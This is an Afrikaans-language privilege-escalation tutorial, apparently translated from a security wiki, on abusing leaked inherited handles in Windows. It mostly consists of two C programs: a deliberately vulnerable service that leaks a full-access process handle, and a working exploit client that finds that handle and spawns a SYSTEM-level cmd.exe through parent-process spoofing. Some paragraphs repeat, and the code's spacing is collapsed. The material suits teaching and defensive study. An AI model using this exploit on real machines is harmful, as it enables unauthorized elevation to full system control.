Handvatsels in 'n proses maak dit moontlik om verskillende Windows-hulpbronne te benader:
Daar was reeds verskeie gevalle van privilege-escalation waar 'n bevoorregte proses met oop en oorerflike handvatsels 'n ongepriviligeerde proses laat loop wat toegang het tot al daardie handvatsels.
Byvoorbeeld, stel jou voor dat 'n proses wat as SISTEEM loop 'n nuwe proses oopmaak (OpenProcess()) met volle toegang. Dieselfde proses skep ook 'n nuwe proses (CreateProcess()) met lae voorregte maar wat al die oop handvatsels van die hoofproses oorerf.
Dan, as jy volle toegang het tot die lae bevoorregte proses, kan jy die oop handvat na die bevoorregte proses wat geskep is met OpenProcess() gryp en 'n skelkode inspuit.
Interessante Handvatsels
Proses
Soos jy gelees het in die aanvanklike voorbeeld, as 'n ongepriviligeerde proses 'n proseshandvat oorerf van 'n bevoorregte proses met genoeg toestemmings, sal dit in staat wees om willekeurige kode daarop uit te voer.
In hierdie uitstekende artikel kan jy sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Draad
Soortgelyk aan die proseshandvatsels, as 'n ongepriviligeerde proses 'n draadhandvat oorerf van 'n bevoorregte proses met genoeg toestemmings, sal dit in staat wees om willekeurige kode daarop uit te voer.
In hierdie uitstekende artikel kan jy ook sien hoe om enige proseshandvat te benut wat enige van die volgende toestemmings het:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Lêer-, Sleutel- & Afdelingshandvatsels
As 'n ongepriviligeerde proses 'n handvat oorerf met skryf-ekwivalente toestemmings oor 'n bevoorregte lêer of register, sal dit in staat wees om die lêer/register te oorwryf (en met baie geluk, bevoorregte toegang te eskaleer).
Afdelingshandvatsels is soortgelyk aan lêerhandvatsels, die algemene naam van hierdie soorte voorwerpe is "Lêerafbeelding". Dit word gebruik om met groot lêers te werk sonder om die hele lêer in die geheue te hou. Dit maak die uitbuiting soortgelyk aan die uitbuiting van 'n Lêerhandvat.
Hoe om handvatsels van prosesse te sien
Process Hacker
Process Hacker is 'n gratis hulpmiddel wat jy kan aflaai. Dit het verskeie wonderlike opsies om prosesse te ondersoek en een daarvan is die vermoë om die handvatsels van elke proses te sien.
Let daarop dat om alle handvatsels van al die prosesse te sien, die SeDebugPrivilege nodig is (so jy moet Process Hacker as administrateur laat loop).
Om die handvatsels van 'n proses te sien, klik regskaf in die proses en kies Handvatsels:
Jy kan dan regskaf op die handvat klik en die toestemmings nagaan:
Sysinternals Handvatsels
Die Handvatselsbinêre van Sysinternals sal ook die handvatsels per proses in die konsole lys:
UitgelekteHandvatselsVinder
Hierdie instrument laat jou toe om uitgelekte handvatsels te monitor en selfs outomaties te benut om voorregte te eskaleer.
Metodologie
Nou dat jy weet hoe om handvatsels van prosesse te vind, moet jy nagaan of enige ongepriviligeerde proses toegang het tot bevoorregte handvatsels. In daardie geval kan die gebruiker van die proses in staat wees om die handvat te verkry en dit misbruik om voorregte te eskaleer.
Dit is voorheen genoem dat jy die SeDebugPrivilege nodig het om toegang tot al die handvatsels te verkry. Maar 'n gebruiker kan steeds toegang hê tot die handvatsels van sy prosesse, so dit kan nuttig wees as jy wil privesk net van daardie gebruiker om die gereedskap met die gebruiker se gewone toestemmings uit te voer**.**
Byvoorbeeld, die volgende kode behoort aan 'n Windows-diens wat kwesbaar sou wees. Die kwesbare kode van hierdie diens binêre lêer is geleë binne die Exploit-funksie. Hierdie funksie begin met die skep van 'n nuwe handvatselproses met volle toegang. Dan, dit skep 'n lae-bevoorregte proses (deur die lae-bevoorregte token van explorer.exe te kopieer) wat C:\gebruikers\gebruikersnaam\tafelblad\klient.exe uitvoer. Die kwesbaarheid lê daarin dat dit die lae-bevoorregte proses skep met bInheritHandles as TRUE.
Daarom is hierdie lae-bevoorregte proses in staat om die handvatsel van die hoë-bevoorregte proses wat eerste geskep is, te gryp en 'n shellkode in te spuit en uit te voer (sien volgende afdeling).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Uitbuitingsvoorbeeld 1
In 'n werklike scenario sal jy waarskynlik nie die binêre lêer kan beheer nie wat deur die kwesbare kode uitgevoer gaan word (C:\gebruikers\gebruikersnaam\tafelblad\klient.exe in hierdie geval). Jy sal waarskynlik 'n proses kompromitteer en moet kyk of jy enige kwesbare handvatsels van enige bevoorregte proses kan benader.
In hierdie voorbeeld kan jy die kode van 'n moontlike uitbuiting vir C:\gebruikers\gebruikersnaam\tafelblad\klient.exe vind.
Die mees interessante deel van hierdie kode is geleë in GetVulnProcHandle. Hierdie funksie sal begin om al die handvatsels te soek, dan sal dit kyk of enige van hulle aan dieselfde PID behoort en as die handvat aan 'n proses behoort. As al hierdie vereistes voltooi is ( 'n toeganklike oop proseshandvat is gevind), sal dit probeer om 'n shellkode in te spuit en uit te voer deur die handvat van die proses te misbruik.
Die inspuiting van die shellkode word binne die Inject funksie gedoen en dit sal net die shellkode binne die bevoorregte proses skryf en 'n draad binne dieselfde proses skep om die shellkode uit te voer.
In 'n werklike scenario sal jy waarskynlik nie die binêre lêer kan beheer nie wat deur die kwesbare kode uitgevoer gaan word (C:\users\gebruikersnaam\desktop\client.exe in hierdie geval). Jy sal waarskynlik 'n proses kompromitteer en moet kyk of jy toegang kan verkry tot enige kwesbare handvatsels van enige bevoorregte proses.
In hierdie voorbeeld, in plaas van die oop handvat te misbruik om 'n shell-kode in te spuit en uit te voer, gaan dit gebruik word die token van die bevoorregte oop handvat proses om 'n nuwe een te skep. Dit word gedoen in lyne vanaf 138 tot 148.
Let op hoe die funksie UpdateProcThreadAttribute gebruik word met die eienskap PROC_THREAD_ATTRIBUTE_PARENT_PROCESS en die handvat na die oop bevoorregte proses. Dit beteken dat die geskepte prosesdraad wat _cmd.exe uitvoer_** dieselfde tokenbevoegdheid as die oop handvat proses sal hê**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);
si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Hierdie gereedskap stel jou in staat om gelekte handvatsels te monitor om kwesbare eenhede te vind en selfs outomaties te misbruik. Dit het ook 'n gereedskap om een te laat lek.